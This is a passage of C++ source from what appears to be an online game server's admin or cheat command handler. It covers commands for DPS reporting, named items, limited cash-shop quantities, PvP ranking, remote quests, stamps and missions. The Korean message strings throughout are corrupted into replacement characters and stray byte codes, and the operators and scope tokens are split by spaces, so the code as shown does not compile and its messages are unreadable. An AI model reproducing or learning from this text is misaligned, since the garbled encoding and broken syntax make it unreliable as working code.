if ( ! CDnDPSReporter : : GetInstance ( ) . IsEnabledUser ( m_pSession - > GetCharacterDBID ( ) ) )
{
if ( CDnDPSReporter : : GetInstance ( ) . EnableUser ( m_pSession - > GetCharacterDBID ( ) ) = = true )
{
CDnDPSReporter : : GetInstance ( ) . ReportUserInfo ( m_pSession - > GetActorHandle ( ) ) ;
wstring wszString ;
wszString = FormatW ( L " [%s] <20> <> DPS <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> (User %d / %d) ) " , m_pSession - > GetCharacterName ( ) , CDnDPSReporter : : GetInstance ( ) . GetEnabledUserCount ( ) , CDnDPSReporter : : eReport : : MaxUserCount ) ;
g_pMasterConnectionManager - > SendNoticeFromClinet ( ( WCHAR * ) wszString . c_str ( ) , ( int ) wszString . size ( ) * sizeof ( WCHAR ) ) ;
}
else
{
wstring wszString ;
wszString = FormatW ( L " <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> DPSREPORT <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʰ<EFBFBD> <CAB0> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . (MAX %d) \n ( /reportdps 0 : <20> <> <EFBFBD> <EFBFBD> DPS<50> <53> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ ) " , CDnDPSReporter : : eReport : : MaxUserCount ) ;
m_pSession - > SendChat ( CHATTYPE_NOTICE , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
}
else
{
CDnDPSReporter : : GetInstance ( ) . DisableAllUser ( ) ;
wstring wszString ;
wszString = FormatW ( L " DPSREPORT <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ <20> մϴ<D5B4> . " ) ;
g_pMasterConnectionManager - > SendNoticeFromClinet ( ( WCHAR * ) wszString . c_str ( ) , ( int ) wszString . size ( ) * sizeof ( WCHAR ) ) ;
}
}
# else
return false ;
# endif // #if defined(_GAMESERVER)
}
break ;
# endif
# if defined( PRE_ADD_NAMEDITEM_SYSTEM )
case GOLDBOX_NAMEDITEM :
{
# if defined( _GAMESERVER )
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nItemID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nItemID ! = 0 )
{
TItemData * pItemData = g_pDataManager - > GetItemData ( nItemID ) ;
if ( ! pItemData )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
else if ( pItemData - > cRank ! = ITEMRANK_SSS )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ũ<EFBFBD> <C5A9> <20> <> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> .!!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
m_pSession - > SetGoldBoxItemID ( nItemID ) ;
g_Log . Log ( LogType : : _NORMAL , m_pSession , L " SET_GOLDBOXITEMID : %d " , nItemID ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> Ӽ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case NAMEDITEM_COUNT :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nItemID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nItemID ! = 0 )
{
TItemData * pItemData = g_pDataManager - > GetItemData ( nItemID ) ;
if ( ! pItemData )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
else if ( pItemData - > cRank ! = ITEMRANK_SSS )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
m_pSession - > GetDBConnection ( ) - > QueryCheatCheckNamedItemCount ( m_pSession , pItemData - > nItemID , 0 ) ;
//m_pSession->GetDBConnection()->quergetname( nItemID );
}
else
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
break ;
# endif
# if defined(PRE_ADD_LIMITED_CASHITEM)
case CHANGE_LIMITQUANTITY :
{
# if defined( _VILLAGESERVER )
wstring wszString ;
if ( tokens . size ( ) < 3 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۽ø<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ڸ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nItemSN = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
int nLimitMax = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( nItemSN ! = 0 )
{
TCashCommodityData CashData ;
if ( ! g_pDataManager - > GetCashCommodityData ( nItemSN , CashData ) )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۽ø<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
else
{
if ( g_pCashConnection )
g_pCashConnection - > SendCheatChangeLimitMax ( nItemSN , nLimitMax ) ;
}
}
# else //#if defined( _VILLAGESERVER )
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif //#if defined( _VILLAGESERVER )
}
break ;
# endif //#if defined(PRE_ADD_LIMITED_CASHITEM)
# if defined (PRE_ADD_BESTFRIEND)
case CLOSE_BESTFRIEND :
{
# if defined( _VILLAGESERVER )
wstring wszString ;
if ( ! m_pSession - > GetBestFriend ( ) - > IsRegistered ( ) )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> ģ <20> <> <EFBFBD> °<EFBFBD> <20> ƴմϴ<D5B4> .!!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
m_pSession - > GetBestFriend ( ) - > CheckStatus ( true ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
# endif // #if defined (PRE_ADD_BESTFRIEND)
# if defined (PRE_ADD_RACING_MODE)
case RACING_START :
{
# if defined(_GAMESERVER)
if ( m_pSession - > GetGameRoom ( ) - > GetPvPGameMode ( ) - > bIsRacingMode ( ) )
api_trigger_GetRacingStartTime ( m_pSession - > GetGameRoom ( ) ) ;
# endif
}
break ;
case RACING_END :
{
# if defined(_GAMESERVER)
if ( m_pSession - > GetGameRoom ( ) - > GetPvPGameMode ( ) - > bIsRacingMode ( ) & & tokens . size ( ) = = 2 )
{
int nPartyIndex = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
//api_trigger_GetRacingGoalTime(m_pSession->GetGameRoom(), nPartyIndex);
}
# endif
}
break ;
# endif
# if defined(PRE_ADD_PCBANG_RENTAL_ITEM)
case SETPCCAFERENTITEM :
{
# if defined(_VILLAGESERVER)
UINT nUserID = m_pSession - > GetObjectID ( ) ;
api_user_SetPCCafeItem ( nUserID ) ;
# endif
}
break ;
# endif
# ifdef PRE_MOD_PVPRANK
case RANK :
{
BYTE cThreadID ;
CDNDBConnection * pDBCon = static_cast < CDNDBConnection * > ( g_pDBConnectionManager - > GetDBConnection ( cThreadID ) ) ;
if ( pDBCon )
{
pDBCon - > QueryCalcPvPRank ( cThreadID ) ;
wstring wszString = FormatW ( L " PvP Rank<6E> <6B> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> <C3BB> <20> Ͽ<EFBFBD> <CFBF> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . <20> <> <EFBFBD> α <EFBFBD> <CEB1> <EFBFBD> <20> <> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
# endif //#ifdef PRE_MOD_PVPRANK
# if defined(PRE_ADD_PVP_RANKING)
case PVP_RANK :
{
BYTE cThreadID ;
CDNDBConnection * pDBCon = static_cast < CDNDBConnection * > ( g_pDBConnectionManager - > GetDBConnection ( cThreadID ) ) ;
if ( pDBCon )
{
pDBCon - > QueryAggregatePvPRank ( m_pSession , false ) ;
wstring wszString = FormatW ( L " PvP Rank <20> <> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> <C3BB> <20> Ͽ<EFBFBD> <CFBF> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
case PVP_LADDER_RANK :
{
BYTE cThreadID ;
CDNDBConnection * pDBCon = static_cast < CDNDBConnection * > ( g_pDBConnectionManager - > GetDBConnection ( cThreadID ) ) ;
if ( pDBCon )
{
pDBCon - > QueryAggregatePvPRank ( m_pSession , true ) ;
wstring wszString = FormatW ( L " PvP Ladder Rank <20> <> <EFBFBD> <EFBFBD> <20> <> û<EFBFBD> <C3BB> <20> Ͽ<EFBFBD> <CFBF> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
break ;
}
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> Դϴ<D4B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
break ;
# endif //#if defined(PRE_ADD_PVP_RANKING)
# if defined(PRE_SPECIALBOX)
case SPECIALBOX :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̺<EFBFBD> <20> <> <EFBFBD> ̵<EFBFBD> <CCB5> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nMailID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nMailID > 0 ) {
CDNMailSender : : Process ( m_pSession , nMailID , DBDNWorldDef : : PayMethodCode : : Admin , nMailID ) ;
}
}
break ;
# endif // #if defined(PRE_SPECIALBOX)
# if defined(PRE_ADD_REMOTE_QUEST)
case GAIN_REMOTE_QUEST :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nQuestID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetQuest ( ) - > AddRemoteQuestToAcceptWaitList ( nQuestID ) ;
}
break ;
case ACCEPT_REMOTE_QUEST :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nQuestID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetQuest ( ) - > AcceptRemoteQuest ( nQuestID ) ;
}
break ;
case COMPLETE_REMOTE_QUEST :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nQuestID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
m_pSession - > GetQuest ( ) - > SetQuestToRecompenseState ( nQuestID ) ;
m_pSession - > SendCompleteRemoteQuest ( nQuestID ) ;
}
break ;
# endif
# if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
case SET_STAGE_CLEAR_BOXNUM :
{
wstring wszString ;
if ( tokens . size ( ) > 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <EFBFBD> <20> <> ȣ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
m_pSession - > SetBoxNumber ( _wtoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
# endif // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
case ISGAINMISSION :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> ̼Ǿ<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nMissionID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
DNTableFileFormat * pSox = GetDNTable ( CDnTableDB : : TMISSION ) ;
int nTargetArrayIndex = pSox - > GetArrayIndex ( nMissionID ) ;
if ( GetBitFlag ( m_pSession - > GetMissionData ( ) - > MissionGain , nTargetArrayIndex ) )
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wcslen ( L " ȹ<EFBFBD> <EFBFBD> ! \r \n " ) , L " " , ( L " ȹ<EFBFBD> <EFBFBD> ! \r \n " ) ) ;
else
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wcslen ( L " <EFBFBD> <EFBFBD> ȹ<EFBFBD> <EFBFBD> \r \n " ) , L " " , ( L " <EFBFBD> <EFBFBD> ȹ<EFBFBD> <EFBFBD> \r \n " ) ) ;
}
break ;
# if defined( PRE_ADD_STAMPSYSTEM )
case ADD_STAMP :
{
wstring wszString ;
if ( tokens . size ( ) < 3 )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ùٸ<C3B9> <D9B8> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nChallengeIndex = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
int nWeekDay = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( 0 = = nChallengeIndex | |
StampSystem : : Common : : MaxChallengeCount < nChallengeIndex | |
0 = = nWeekDay | |
StampSystem : : Common : : MaxWeekDayCount < nWeekDay )
{
wszString = FormatW ( L " <EFBFBD> Է°<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ߸<EFBFBD> <20> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
m_pSession - > GetStampSystem ( ) - > ForceAddCompleteSlot ( nChallengeIndex , nWeekDay ) ;
}
break ;
case CLEAR_STAMP :
{
m_pSession - > GetStampSystem ( ) - > ForceClearCompleteSlot ( ) ;
}
break ;
# endif // #if defined( PRE_ADD_STAMPSYSTEM )
# if defined(PRE_ADD_ACTIVEMISSION)
case SET_ACTIVEMISSION :
{
# if defined(_VILLAGESERVER)
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʿ<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֽʽ ÿ<CABD> !!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
# if defined(_GAMESERVER)
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> Ƽ <EFBFBD> <EFBFBD> <EFBFBD> ̼Ǿ<EFBFBD> <EFBFBD> ̵<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nActiveMissionID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( g_pDataManager - > GetActiveMissionData ( nActiveMissionID - 1 ) = = NULL )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> Ƽ <EFBFBD> <EFBFBD> <EFBFBD> ̼<EFBFBD> ID <20> <> <20> ߸<EFBFBD> <DFB8> Ǿ<EFBFBD> <C7BE> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
m_pSession - > SetActiveMissionCheatID ( nActiveMissionID ) ;
# endif
}
break ;
# endif
# if defined(PRE_ADD_CP_RANK)
case INIT_STAGECP :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> ʱ<EFBFBD> ȭ Ÿ<> <C5B8> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ּ<EFBFBD> <D6BC> <EFBFBD> (0-All, 1-Legend, 2-Monthly, 3-Personal)\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nInitType = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nInitType > = 0 & & nInitType < = 3 )
{
m_pSession - > GetDBConnection ( ) - > QueryInitStageCP ( m_pSession , ( char ) nInitType ) ;
}
else
{
wszString = FormatW ( L " <EFBFBD> ʱ<EFBFBD> ȭ Ÿ<> <C5B8> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
break ;
# endif //#if defined(PRE_ADD_CP_RANK)
# if defined(PRE_ADD_DWC)
case DWCPOINT :
{
# if defined( _VILLAGESERVER )
wstring wszString ;
if ( m_pSession - > GetDWCTeamID ( ) < = 0 )
{
wszString = FormatW ( L " DWC <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ԵǾ<D4B5> <20> <> <EFBFBD> <EFBFBD> <20> ʽ <EFBFBD> <CABD> ϴ<EFBFBD> . \r \n " ) ;
